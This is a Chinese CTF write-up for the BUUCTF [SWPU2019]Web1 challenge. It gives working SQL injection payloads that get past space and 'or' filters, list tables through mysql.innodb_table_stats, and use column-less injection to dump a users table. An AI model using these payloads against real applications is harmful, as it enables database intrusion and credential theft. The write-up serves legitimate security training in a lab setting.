BUUCTF-----[SWPU2019]Web1

打开页面,原本以为是二次注入,结果不是,先注册一个账户
在这里插入图片描述
在这里插入图片描述

在申请发布广告中,发现反射性xss(然而没有什么用)
在这里插入图片描述
在这里插入图片描述

在广告申请名字中发现注入点
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

开始注入

通过一系列的测试,发现系统过滤了#,or,空格
order by不能使用,只能用union select来判断显示位
空格可以使用/**/绕过

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述因为or被过滤,information_schema不能使用

也可以通过mysql.innodb_table_stats,来获取表名
-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述
表名知道了,但是列名怎么求?

这里我们使用无列名注入
1'/**/union/**/select/**/1,2,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select*from/**/users)s),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

(select group_concat(a) from (select 1,2 as a,3 union select*from users)s)

(select 1,2 as a,3 union select * from users)s
//意思是:查询user表中前三列的数据,并且把第三列重命名位a(我们不知道第三列的名字是什么),然后重命名为s.
(select group_concat(a) from s)
//意思是:查询s中a的值,也就是重命名后的第3列

在这里插入图片描述
-1'/**/union/**/select/**/1,2,(select/**/group_concat(a,'~',b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)s),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述
参考无列名注入:https://zhuanlan.zhihu.com/p/98206699

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-14 00:28:02       91 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-14 00:28:02       97 阅读
  3. 在Django里面运行非项目文件

    2024-03-14 00:28:02       78 阅读
  4. Python语言-面向对象

    2024-03-14 00:28:02       88 阅读

热门阅读

  1. JenKins 中的new Item各个选项应该怎选择

    2024-03-14 00:28:02       40 阅读
  2. HAProxy适配openGauss使用指导书

    2024-03-14 00:28:02       43 阅读
  3. 在Rust中,探索word到pdf的转换

    2024-03-14 00:28:02       46 阅读
  4. 英语阅读挑战

    2024-03-14 00:28:02       40 阅读
  5. 华为机试题-字符串压缩

    2024-03-14 00:28:02       42 阅读
  6. 测开面经学习笔记

    2024-03-14 00:28:02       43 阅读
  7. C++进阶学习

    2024-03-14 00:28:02       38 阅读
  8. 车规芯片为什么需要信息安全(2)

    2024-03-14 00:28:02       42 阅读
  9. 10个必知必会的SQL聚合函数

    2024-03-14 00:28:02       32 阅读
  10. Git命令(持续更新中...)

    2024-03-14 00:28:02       41 阅读